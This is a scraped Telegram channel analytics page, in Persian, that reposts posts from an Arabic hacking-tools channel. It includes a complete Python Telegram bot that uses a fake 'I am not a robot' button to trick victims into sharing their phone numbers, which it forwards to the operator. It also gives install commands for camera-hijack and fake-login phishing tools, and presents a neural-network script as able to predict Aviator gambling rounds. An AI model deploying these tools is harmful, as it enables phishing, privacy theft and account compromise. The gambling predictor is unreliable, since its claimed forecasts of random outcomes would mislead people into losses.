ᔕᕼᗩᗪOᗯ ᗰIᑎᗪ STᑌᗪIO
⸻ᔕᕼᗩᗪOᗯ ᗰIᑎᗪ ⸻ #php #python #telebot #codes ⚠️ المحتوى الموجود هنا لأغراض تعليمية فقط ولا نتحمل أي مسؤولية عن استخدامه، الغرض منه الفحص والتجربة داخل بيئات خاصة وغير حقيقية
نمایش بیشتر📈 تحلیل کانال تلگرام ᔕᕼᗩᗪOᗯ ᗰIᑎᗪ STᑌᗪIO
کانال ᔕᕼᗩᗪOᗯ ᗰIᑎᗪ STᑌᗪIO (@phpandpy) در بخش زبانی عربی بازیگری فعال است. در حال حاضر جامعه شامل 16 233 مشترک است و جایگاه 7 729 را در دسته فناوری و برنامهها و رتبه 1 478 را در منطقه مصر دارد.
📊 شاخصهای مخاطب و پویایی
از زمان ایجاد در невідомо، پروژه رشد سریعی داشته و 16 233 مشترک جذب کرده است.
بر اساس آخرین دادهها در تاریخ 23 سپتامبر, 2026، کانال فعالیت پایداری دارد. در ۳۰ روز گذشته تغییر اعضا برابر 405 و در ۲۴ ساعت گذشته برابر 8 بوده و همچنان دسترسی گستردهای حفظ شده است.
- وضعیت تأیید: تأیید نشده
- نرخ تعامل (ER): میانگین تعامل مخاطب 9.19% است و در ۲۴ ساعت نخست پس از انتشار، محتوا معمولاً 2.94% واکنش نسبت به کل مشترکان کسب میکند.
- دسترسی پستها: هر پست به طور میانگین 1 489 بازدید دریافت میکند. در اولین روز معمولاً 476 بازدید جمعآوری میشود.
- واکنشها و تعامل: مخاطبان بهطور فعال حمایت میکنند؛ میانگین واکنش به هر پست 16 است.
- علایق موضوعی: محتوا بر موضوعات کلیدی مانند سِعر, تَحدِيث, بَلُوقِن, تَشغِيل, حَقّ تمرکز دارد.
📝 توضیح و سیاست محتوایی
نویسنده این فضا را محل بیان دیدگاههای شخصی توصیف میکند:
“⸻ᔕᕼᗩᗪOᗯ ᗰIᑎᗪ ⸻
#php
#python
#telebot
#codes
⚠️ المحتوى الموجود هنا لأغراض تعليمية فقط ولا نتحمل أي مسؤولية عن استخدامه، الغرض منه الفحص والتجربة داخل بيئات خاصة وغير حقيقية”
به لطف بهروزرسانیهای پرتکرار (آخرین داده در تاریخ 24 سپتامبر, 2026)، کانال همواره بهروز و دارای دسترسی بالاست. تحلیلها نشان میدهد مخاطبان بهطور فعال با محتوا تعامل دارند و آن را به نقطه اثرگذاری مهم در دسته فناوری و برنامهها تبدیل کردهاند.
import telebot
from telebot import types
bot = telebot.TeleBot("صع توكن بوتك")
admin_id = ضع id حسابك
@bot.message_handler(commands=['start'])
def register(message):
keyboard = types.ReplyKeyboardMarkup(one_time_keyboard=True)
reg_button = types.KeyboardButton(text="انا لست روبوت", request_contact=True)
keyboard.add(reg_button)
response = bot.send_message(message.chat.id, "عذرا ❌ لايمكنك استخدام البوت اضغط انا لست روبوت لكي نتحقق من حسابك", reply_markup=keyboard)
@bot.message_handler(content_types=['contact'])
def contact_handler(message):
F = message.contact.phone_number
bot.send_message(admin_id, text=f"اهلا عزيزي الادمن تم سحب الرقم +{F}")
bot.send_message(message.chat.id, text="شكراً لك تم التحقق من حسابك")
if __name__ == '__main__':
bot.polling(none_stop=True)
ضع توكن بوتك و id حسابك والبوت يشتغل...
تدزه للشخص راح يوهمه البوت بتحقق حسابه...
عند الضغط راح يترسل الرقم الخاص بحسابه تيليجرام وبس...
#منقوله☢️5h5688070hu50.imgأذا حابب تفتحها وتنزلها ع جهازك لو كنت تستخدم Termux أو هاتفك تكتب هذا الامر
mv اسم الصوره /sdcard/Download/
نفترض قولنا الاسم هنكتب كدا
mv 5h5688070hu50.img /sdcard/Download
ع طول تدخل ع ملفاتك ثم Download هتلقيها
ولو كنت kali ع حاسوب نفس الحوار بس نغير الامر الي
mv اسم الصوره ~/Desktop/
تنزيل الاداه:
git clone https://github.com/MohamedAbuAl-Saud/Hack-Camra-Link-DF.git
cd Hack-Camra-Link-DF
apt install php
bash hackcamra.sh
By|| @A_Y_TRimport numpy as np
import matplotlib.pyplot as plt
import tensorflow as tf
from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import LSTM, GRU, Dense, Dropout
from sklearn.preprocessing import MinMaxScaler
import xgboost as xgb
# بيانات الجولات السابقة (استبدلها بالبيانات الحقيقية من اللعبة)
previous_rounds = [1.2, 2.5, 1.8, 1.4, 3.0, 1.1, 2.2, 1.7, 1.3, 2.8, 1.6, 2.0, 2.9, 1.9, 3.5, 1.5, 3.8, 2.4, 1.2, 2.1, 2.7, 3.3, 1.4, 2.6, 1.9, 3.7, 1.8, 2.9, 3.4, 2.2]
# تحويل البيانات إلى مصفوفة NumPy
data = np.array(previous_rounds).reshape(-1, 1)
# تطبيع البيانات لجعلها مناسبة للنموذج
scaler = MinMaxScaler(feature_range=(0, 1))
scaled_data = scaler.fit_transform(data)
# **تحضير بيانات التدريب ب.. Sliding Window**
def create_dataset(dataset, time_step=5):
X, Y = [], []
for i in range(len(dataset) - time_step - 1):
X.append(dataset[i:(i + time_step), 0])
Y.append(dataset[i + time_step, 0])
return np.array(X), np.array(Y)
time_step = 5 # عدد الجولات السابقة اللي يعتمد عليها التنبؤ
X, y = create_dataset(scaled_data, time_step)
X = X.reshape(X.shape[0], X.shape[1], 1) # تحويل البيانات لشكل مناسب لـ LSTM و GRU
model = Sequential([
LSTM(128, return_sequences=True, input_shape=(time_step, 1)),
Dropout(0.3),
GRU(128, return_sequences=True),
Dropout(0.3),
LSTM(64, return_sequences=False),
Dense(32, activation='relu'),
Dense(16, activation='relu'),
Dense(1)
])
# تدريب النموذج
model.compile(optimizer='adam', loss='mean_squared_error')
model.fit(X, y, epochs=150, batch_size=4, verbose=2)
# استخدام XGBoost لتحليل الأنماط المخفية
xgb_model = xgb.XGBRegressor(objective='reg:squarederror', n_estimators=100)
xgb_model.fit(X.reshape(X.shape[0], -1), y)
# التنبؤ بالجولات القادمة باستخدام LSTM + GRU + XGBoost
future_input = scaled_data[-time_step:].reshape(1, time_step, 1)
predictions_lstm_gru = []
predictions_xgb = []
for _ in range(5): # التنبؤ بـ 5 جولات قادمة
predicted_lstm_gru = model.predict(future_input)
predictions_lstm_gru.append(predicted_lstm_gru[0, 0])
predicted_xgb = xgb_model.predict(future_input.reshape(1, -1))
predictions_xgb.append(predicted_xgb[0])
# تحديث البيانات بإضافة التوقع الجديد
future_input = np.append(future_input[:, 1:, :], [[predicted_lstm_gru]], axis=1)
# دمج التوقعات
final_predictions = np.mean([predictions_lstm_gru, predictions_xgb], axis=0)
final_predictions = scaler.inverse_transform(np.array(final_predictions).reshape(-1, 1))
# عرض النتائج
print("🔮 التوقعات للجولات القادمة:", [round(p[0], 2) for p in final_predictions])
# رسم البيانات
plt.plot(previous_rounds, label="البيانات الفعلية", marker='o', linestyle='-')
plt.plot(range(len(previous_rounds), len(previous_rounds) + 5), final_predictions, label="التوقعات", marker='x', linestyle='dashed', color='red')
plt.xlabel("الجولة")
plt.ylabel("المضاعف المتوقع")
plt.title("تحليل Aviator باستخدام LSTM + GRU + XGBoost")
plt.legend()
plt.show()
BY|| @A_Y_TR5h5688070hu50.imgأذا حابب تفتحها وتنزلها ع جهازك لو كنت تستخدم Termux أو هاتفك تكتب هذا الامر
mv اسم الصوره /sdcard/Download/
نفترض قولنا الاسم هنكتب كدا
mv 5h5688070hu50.img /sdcard/Download
ع طول تدخل ع ملفاتك ثم Download هتلقيها
ولو كنت kali ع حاسوب نفس الحوار بس نغير الامر الي
mv اسم الصوره ~/Desktop/
تنزيل الاداه:
git clone https://github.com/MohamedAbuAl-Saud/Hack-Camra-Link-DF.git
cd Hack-Camra-Link-DF
apt install php
bash hackcamra.sh
By|| @A_Y_TRgit clone https://github.com/MohamedAbuAl-Saud/PhantomLogin-DF.git
cd PhantomLogin-DF
pkg install php
pkg install ssh
pkg install jq
chmod +x bash phantomlogin.sh
bash phantomlogin.sh
ع kali linux:
git clone https://github.com/MohamedAbuAl-Saud/PhantomLogin-DF.git
cd PhantomLogin-DF
su
apt install php
apt install ssh
apt install jq
chmod +x bash phantomlogin.sh
bash phantomlogin.sh
لو وجهتك اي مشكله في التثبيت في اي بيئه اكتب الامر ده وتاكد من سرعه الانتر نت:
chmod +x install.sh
bash install.sh
وأي مشكله راسلني خاص @A_Y_TR